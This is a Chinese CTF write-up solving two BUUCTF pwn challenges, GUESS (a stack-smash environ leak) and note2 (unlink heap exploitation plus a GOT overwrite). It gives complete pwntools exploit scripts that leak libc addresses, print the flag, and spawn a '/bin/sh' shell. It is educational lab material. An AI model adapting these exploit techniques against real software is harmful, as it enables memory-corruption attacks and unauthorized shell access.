buuctf GUESS,ZCTF note2学习

GUESS

知识点

stack smash\environ泄露栈地址

题解

这道题是一道栈题,好久没见栈题。
可以看到程序会把flag读入内存,之后fork子进程让你猜。这里需要事先了解fork工作方式:把父进程虚拟内存空间完全复制一份(具体来说,私有写时复制)这说明子进程会复制flag,以及栈上所有内容。利用这一点以及题目给我们的三次机会,结合canary smash原理解题。
stack smash之后会输出一串字符串,其地址是environ[0]。基本思路是通过gets()栈溢出,修改environ[0]地址,这样就可以通过stack_smash打印出想要的内容。
environ[0]与输入buffer之间的偏移可以调试得到
在这里插入图片描述依次泄露puts_plt,得到libc基地址,system地址,再泄露栈上environ地址,最后计算environ[0]和内存中flag的偏移,就得到flag在栈上地址,即可泄露打印。均利用stack_smash
这里记住:直接在gdb里面输入environ即可得到environ[0]地址,也就是上图第二个红框0x7ffffffffe138

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./GUESS')
# libc = ELF('./libc-2.23.so')
io = remote('node4.buuoj.cn',25298)
# io = process('./GUESS')

puts_got = elf.got['puts']



def leak_addr(content):
    io.recvline()
    io.sendline(content)
    io.recvuntil('*** stack smashing detected ***: ')
    addr = u64(io.recv(6).ljust(8,'\x00'))
    return addr


# step1: leak puts_addr
payload1 = 'a'*0x128+p64(puts_got)
puts_plt = leak_addr(payload1)
print "puts_plt----->" + hex(puts_plt)
libc = LibcSearcher("puts",puts_plt)
libc_base = puts_plt - libc.dump("puts")
print "libc_base----->" + hex(libc_base)
environ = libc.dump('__environ') + libc_base

# step2: leak environ
payload2 = 'a'*0x128 + p64(environ)
environ_addr = leak_addr(payload2)
print "enviorn in stack----->" + hex(environ_addr)

# step3: leak flag
payload3 = 'a'*0x128 + p64(environ_addr-0x168)
io.sendlineafter('Please type your guessing flag\n',payload3)
print io.recvline()

note2

这道题在wiki上也有,但是之前看了没看懂。搞了快一天,最后还是问了别人才明白unlink到底是什么意思
unlink本质上是一个在双向链表中取出一个链表的过程。wiki上面也写了,在没有对unlink检查的情况下,仅仅设置FD为addr-12,BK为expect_value可以实现任意地址写。但是在有检查之后需要设置FD为ptr-34,BK为ptr-24(这里4也可以为8,取决系统位数)绕过检查。这样导致顺序执行以下两条语句(如果取出p)
p->fd->bk=p->bk->fd
p->bk->fd=p->fd->bk
第一句导致p=&p-24
第二句导致p=&p-3
4
所以p=&p-34这样修改了ptr中储存的值。怎么利用呢?比如说可以edit这个note(3p32(0)+puts_got)这样show(note)打印的就是note+3*4也就是puts_plt的值。这道题就是这样利用的。除此以外,还利用了整数溢出实现堆溢出,来达到unlink效果。具体解释在wiki上unlink这一章有。这里的wp主要参考了网上的。

from pwn import *
from LibcSearcher import *
# p=process("./note2")
p = remote('node4.buuoj.cn',26847)
elf=ELF("./note2")
# libc = ELF('./libc.so.6')

context.log_level="debug"

strlen_plt=elf.plt[b"strlen"]
strlen_got=elf.got[b"strlen"]
atoi_got = elf.got["atoi"]
malloc_got = elf.got['malloc']
free_got = elf.got['free']

def new(content,length):
    p.recvuntil(b'option--->>')
    p.sendline(b"1")
    p.recvuntil(b"Input the length of the note content:(less than 128)\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"Input the note content:\n")
    p.sendline(content)
    pass
    
def show(idx):
    p.recvuntil(b'option--->>')
    p.sendline(b"2")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def edit(idx,mode,content):
    p.recvuntil(b'option--->>')
    p.sendline(b"3")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
    p.sendline(str(mode).encode())
    p.recvuntil(b"TheNewContents:")
    p.sendline(content)
    pass

def delete(idx):
    p.recvuntil(b'option--->>')
    p.sendline(b"4")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def exp():
    name=b"aaaa"
    address=b"bbbb"
    p.recvuntil(b"Input your name:\n")
    p.sendline(name)
    p.recvuntil(b"Input your address:\n")
    p.sendline(address)
    
    #1 unlink
    list_head = 0x602120
    fake_fd = list_head-0x18
    fake_bk = list_head-0x10 #result: fake_bk->fd == fake_fd
    #payload1=b"a"*8+p64(0x61)+p64(fake_fd)+p64(fake_bk)+b'a'*64+p64(0x60)
    
    payload1=b"a"*8+p64(0x21)+p64(fake_fd)+p64(fake_bk)+p64(0x20)
    new(payload1,0x40) #idx0
    new(b"b"*0x8,0) #idx1
    new(b"c"*0x10,0x80) #idx2

    # gdb.attach(p,"b *0x400C67")
    
    delete(1) # del idx1
    payload2=b"b"*0x10+p64(0x60)+p64(0x90)
    new(payload2,0) #idx3
    delete(2)

 
    
    #2 rewrite&leak
    payload3=b"d"*0x18+p64(atoi_got)
    edit(0,1,payload3)
    show(0)
    #gdb.attach(p)
    p.recvuntil(b"Content is ")
    atoi_plt = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00"))
    libc = LibcSearcher('atoi',atoi_plt)
    # print "malloc_plt----->" + hex(malloc_plt)
    libc_base = atoi_plt - libc.dump('atoi')
    print "libc_base----->" + hex(libc_base)
    system=libc_base + libc.dump('system')
    
    
    # print("strlen@got: ",hex(strlen_got))
    print ("atoi@got: ",hex(atoi_got))
    # print("strlen: ",hex(strlen))
    print("system: ",hex(system))

    # gdb.attach(p,"b *0x400D43")
    
    #3 editatoi@got to system
    payload4=p64(system)
    edit(0,1,payload4)


    p.recvuntil('option--->>')
    p.sendline('/bin/sh\x00')
    
    p.interactive()
    
    
if __name__=="__main__":
    exp()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值